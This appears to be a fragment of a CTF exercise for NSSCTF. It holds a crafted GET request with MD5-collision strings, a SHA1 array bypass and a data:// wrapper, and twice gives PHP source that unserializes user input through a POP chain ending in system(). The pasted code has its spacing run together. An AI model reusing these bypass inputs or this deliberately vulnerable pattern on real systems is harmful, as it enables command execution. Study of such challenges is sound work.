GET:?md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&sha1_1[]=1&sha1_2[]=2&new_player=data://text/plain,Welcome to NSSCTF!!!
<?php highlight_file(__FILE__); error_reporting(0); classNSS { public$cmd; function__invoke() { echo"Congratulations!!!You have learned to construct a POP chain<br/>"; system($this->cmd); } function__wakeup() { echo"W4keup!!!<br/>"; $this->cmd = "echo Welcome to NSSCTF"; } }
classC { public$whoami; function__get($argv) { echo"what do you want?"; $want = $this->whoami; return$want(); } }
classT { public$sth; function__toString() { echo"Now you know how to use __toString<br/>There is more than one way to trigger"; return$this->sth->var; } }
classF { public$user = "nss"; public$passwd = "ctf"; public$notes; function__construct($user, $passwd) { $this->user = $user; $this->passwd = $passwd; } function__destruct() { if ($this->user === "SWPU" && $this->passwd === "NSS") { echo"Now you know how to use __construct<br/>"; echo"your notes".$this->notes; }else{ die("N0!"); } } }
if (isset($_GET['ser'])) { $ser = unserialize(base64_decode($_GET['ser'])); } else { echo"Let's do some deserialization :)"; } Let's do some deserialization :)
<?php highlight_file(__FILE__); error_reporting(0); classNSS { public$cmd; function__invoke() { echo"Congratulations!!!You have learned to construct a POP chain<br/>"; system($this->cmd); } function__wakeup() { echo"W4keup!!!<br/>"; $this->cmd = "echo Welcome to NSSCTF"; } }
classC { public$whoami; function__get($argv) { echo"what do you want?"; $want = $this->whoami; return$want(); } }
classT { public$sth; function__toString() { echo"Now you know how to use __toString<br/>There is more than one way to trigger"; return$this->sth->var; } }
classF { public$user = "nss"; public$passwd = "ctf"; public$notes; function__construct($user, $passwd) { $this->user = $user; $this->passwd = $passwd; } function__destruct() { if ($this->user === "SWPU" && $this->passwd === "NSS") { echo"Now you know how to use __construct<br/>"; echo"your notes".$this->notes; }else{ die("N0!"); } } }